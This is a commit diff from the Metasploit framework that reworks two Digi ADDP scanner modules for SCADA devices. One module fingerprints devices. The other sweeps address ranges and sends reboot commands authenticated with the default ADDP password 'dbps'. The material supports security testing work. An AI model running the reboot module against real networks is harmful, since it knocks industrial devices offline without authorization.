Skip to content

Commit 5ad2749

Browse files
author
HD Moore
committed
Rework ADDP modules to use the new mixin
1 parent 0e8a3f0 commit 5ad2749

File tree

2 files changed

+47
-193
lines changed

2 files changed

+47
-193
lines changed

modules/auxiliary/scanner/scada/digi_addp_reboot.rb

Lines changed: 26 additions & 106 deletions
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@
1616
class Metasploit3 < Msf::Auxiliary
1717

1818
include Msf::Auxiliary::Report
19-
include Msf::Auxiliary::Scanner
19+
include Msf::Auxiliary::UDPScanner
2020

2121
def initialize
2222
super(
@@ -34,128 +34,48 @@ def initialize
3434

3535
register_options(
3636
[
37-
Opt::CHOST,
38-
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]),
3937
Opt::RPORT(2362),
4038
OptString.new('ADDP_PASSWORD', [true, 'The ADDP protocol password for each target', 'dbps'])
4139
], self.class)
4240
end
4341

44-
def run_batch_size
45-
datastore['BATCHSIZE'].to_i
46-
end
47-
48-
def rport
49-
datastore['RPORT'].to_i
50-
end
51-
52-
def run_batch(batch)
53-
42+
def scanner_prescan(batch)
5443
print_status("Finding ADDP nodes within #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
55-
5644
@results = {}
57-
begin
58-
udp_sock = nil
59-
idx = 0
60-
61-
# Create an unbound UDP socket if no CHOST is specified, otherwise
62-
# create a UDP socket bound to CHOST (in order to avail of pivoting)
63-
udp_sock = Rex::Socket::Udp.create( { 'LocalHost' => datastore['CHOST'] || nil, 'Context' => {'Msf' => framework, 'MsfExploit' => self} })
64-
add_socket(udp_sock)
65-
66-
batch.each do |ip|
67-
begin
68-
# Try all currently-known magic probe values
69-
Rex::Proto::ADDP.request_config_all.each do |pkt|
70-
begin
71-
udp_sock.sendto(pkt, ip, rport, 0)
72-
rescue ::Errno::ENOBUFS
73-
print_status("Socket buffers are full, waiting for them to flush...")
74-
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
75-
parse_reply(r)
76-
end
77-
select(nil, nil, nil, 0.25)
78-
retry
79-
end
80-
end
81-
82-
rescue ::Interrupt
83-
raise $!
84-
rescue ::Rex::ConnectionError
85-
end
86-
87-
if (idx % 30 == 0)
88-
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
89-
parse_reply(r)
90-
end
91-
end
92-
93-
idx += 1
94-
end
95-
96-
while (r = udp_sock.recvfrom(65535, 3) and r[1])
97-
parse_reply(r)
98-
end
99-
100-
queue = {}
101-
@results.each_pair do |ip,res|
102-
queue[ip] = res
103-
end
104-
@results = {}
105-
106-
queue.each_pair do |ip, res|
107-
info = Rex::Proto::ADDP.reply_to_string(res)
108-
print_status("#{ip}:#{rport} Sending reboot request to device with MAC #{res[:mac]}...")
109-
pkt = Rex::Proto::ADDP.request_reboot(res[:magic], res[:mac], datastore['ADDP_PASSWORD'])
110-
111-
begin
112-
udp_sock.sendto(pkt, ip, rport, 0)
113-
rescue ::Errno::ENOBUFS
114-
print_status("Socket buffers are full, waiting for them to flush...")
115-
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
116-
parse_reply(r)
117-
end
118-
select(nil, nil, nil, 0.25)
119-
retry
120-
end
121-
122-
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
123-
parse_reply(r)
124-
end
125-
end
126-
127-
while (r = udp_sock.recvfrom(65535, 5) and r[1])
128-
parse_reply(r)
129-
end
130-
131-
rescue ::Interrupt
132-
raise $!
133-
rescue ::Exception => e
134-
print_error("Unknown error: #{e.class} #{e} #{e.backtrace}")
45+
end
46+
47+
def scan_host(ip)
48+
Rex::Proto::ADDP.request_config_all.each do |pkt|
49+
scanner_send(pkt, ip, datastore['RPORT'])
13550
end
13651
end
13752

53+
def scanner_postscan(batch)
54+
queue = {}
55+
@results.each_pair do |ip,res|
56+
queue[ip] = res
57+
end
13858

139-
def parse_reply(pkt)
140-
# Ignore "empty" packets
141-
return if not pkt[1]
59+
@results = {}
14260

143-
addr = pkt[1]
144-
if(addr =~ /^::ffff:/)
145-
addr = addr.sub(/^::ffff:/, '')
61+
queue.each_pair do |ip, res|
62+
info = Rex::Proto::ADDP.reply_to_string(res)
63+
print_status("#{ip}:#{datastore['RPORT']} Sending reboot request to device with MAC #{res[:mac]}...")
64+
pkt = Rex::Proto::ADDP.request_reboot(res[:magic], res[:mac], datastore['ADDP_PASSWORD'])
65+
scanner_send(pkt, ip, datastore['RPORT'])
14666
end
14767

148-
data = pkt[0]
68+
# Wait for the final replies to trickle in
69+
scanner_recv(10) if queue.length > 0
70+
end
14971

150-
@results[addr] ||= {}
151-
@results[addr] = Rex::Proto::ADDP.decode_reply(data)
72+
def scanner_process(data, shost, sport)
73+
@results[shost] ||= {}
74+
@results[shost] = Rex::Proto::ADDP.decode_reply(data)
15275

153-
if @results[addr][:cmd] == Rex::Proto::ADDP::CMD_REBOOT_REP
154-
print_status("#{addr}:#{rport} Reboot Status: " + Rex::Proto::ADDP.reply_to_string(@results[addr]))
76+
if @results[shost][:cmd] == Rex::Proto::ADDP::CMD_REBOOT_REP
77+
print_status("#{shost}:#{sport} Reboot Status: " + Rex::Proto::ADDP.reply_to_string(@results[shost]))
15578
end
156-
157-
return unless @results[addr][:magic] and @results[addr][:mac]
15879
end
15980

160-
16181
end

modules/auxiliary/scanner/scada/digi_addp_version.rb

Lines changed: 21 additions & 87 deletions
Original file line numberDiff line numberDiff line change
@@ -16,7 +16,7 @@
1616
class Metasploit3 < Msf::Auxiliary
1717

1818
include Msf::Auxiliary::Report
19-
include Msf::Auxiliary::Scanner
19+
include Msf::Auxiliary::UDPScanner
2020

2121
def initialize
2222
super(
@@ -34,106 +34,40 @@ def initialize
3434

3535
register_options(
3636
[
37-
Opt::CHOST,
38-
OptInt.new('BATCHSIZE', [true, 'The number of hosts to probe in each set', 256]),
39-
Opt::RPORT(2362)
37+
Opt::RPORT(2362),
38+
OptString.new('ADDP_PASSWORD', [true, 'The ADDP protocol password for each target', 'dbps'])
4039
], self.class)
4140
end
4241

43-
def run_batch_size
44-
datastore['BATCHSIZE'].to_i
45-
end
46-
47-
def rport
48-
datastore['RPORT'].to_i
49-
end
50-
51-
def run_batch(batch)
52-
53-
print_status("Sending Digi ADDP probes to #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
54-
42+
def scanner_prescan(batch)
43+
print_status("Finding ADDP nodes within #{batch[0]}->#{batch[-1]} (#{batch.length} hosts)")
5544
@results = {}
56-
begin
57-
udp_sock = nil
58-
idx = 0
59-
60-
# Create an unbound UDP socket if no CHOST is specified, otherwise
61-
# create a UDP socket bound to CHOST (in order to avail of pivoting)
62-
udp_sock = Rex::Socket::Udp.create( { 'LocalHost' => datastore['CHOST'] || nil, 'Context' => {'Msf' => framework, 'MsfExploit' => self} })
63-
add_socket(udp_sock)
64-
65-
batch.each do |ip|
66-
begin
67-
68-
# Try all currently-known magic probe values
69-
Rex::Proto::ADDP.request_config_all.each do |pkt|
70-
begin
71-
udp_sock.sendto(pkt, ip, rport, 0)
72-
rescue ::Errno::ENOBUFS
73-
print_status("Socket buffers are full, waiting for them to flush...")
74-
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
75-
parse_reply(r)
76-
end
77-
select(nil, nil, nil, 0.25)
78-
retry
79-
end
80-
end
81-
82-
rescue ::Interrupt
83-
raise $!
84-
rescue ::Rex::ConnectionError
85-
end
86-
87-
if (idx % 30 == 0)
88-
while (r = udp_sock.recvfrom(65535, 0.1) and r[1])
89-
parse_reply(r)
90-
end
91-
end
92-
93-
idx += 1
94-
end
95-
96-
while (r = udp_sock.recvfrom(65535, 3) and r[1])
97-
parse_reply(r)
98-
end
99-
100-
rescue ::Interrupt
101-
raise $!
102-
rescue ::Exception => e
103-
print_error("Unknown error: #{e.class} #{e} #{e.backtrace}")
104-
end
10545
end
10646

107-
108-
def parse_reply(pkt)
109-
# Ignore "empty" packets
110-
return if not pkt[1]
111-
112-
addr = pkt[1]
113-
if(addr =~ /^::ffff:/)
114-
addr = addr.sub(/^::ffff:/, '')
47+
def scan_host(ip)
48+
Rex::Proto::ADDP.request_config_all.each do |pkt|
49+
scanner_send(pkt, ip, datastore['RPORT'])
11550
end
51+
end
11652

117-
data = pkt[0]
118-
119-
@results[addr] ||= {}
120-
@results[addr] = Rex::Proto::ADDP.decode_reply(data)
121-
122-
return unless @results[addr][:magic] and @results[addr][:mac]
123-
124-
inf = Rex::Proto::ADDP.reply_to_string(@results[addr])
53+
def scanner_process(data, shost, sport)
54+
res = Rex::Proto::ADDP.decode_reply(data)
55+
return unless res[:magic] and res[:mac]
56+
res[:banner] = Rex::Proto::ADDP.reply_to_string( res )
12557

126-
if inside_workspace_boundary?(addr)
58+
unless @results[shost]
59+
print_status("#{shost}:#{datastore['RPORT']} ADDP #{res[:banner]}")
12760
report_service(
128-
:host => addr,
129-
:mac => @results[addr][:mac],
130-
:port => pkt[2],
61+
:host => shost,
62+
:mac => res[:mac],
63+
:port => datastore['RPORT'],
13164
:proto => 'udp',
13265
:name => 'addp',
133-
:info => inf
66+
:info => res[:banner]
13467
)
13568
end
136-
print_status("#{addr}:#{pkt[2]} #{inf}")
69+
70+
@results[shost] = res
13771
end
13872

13973

0 commit comments

Comments
 (0)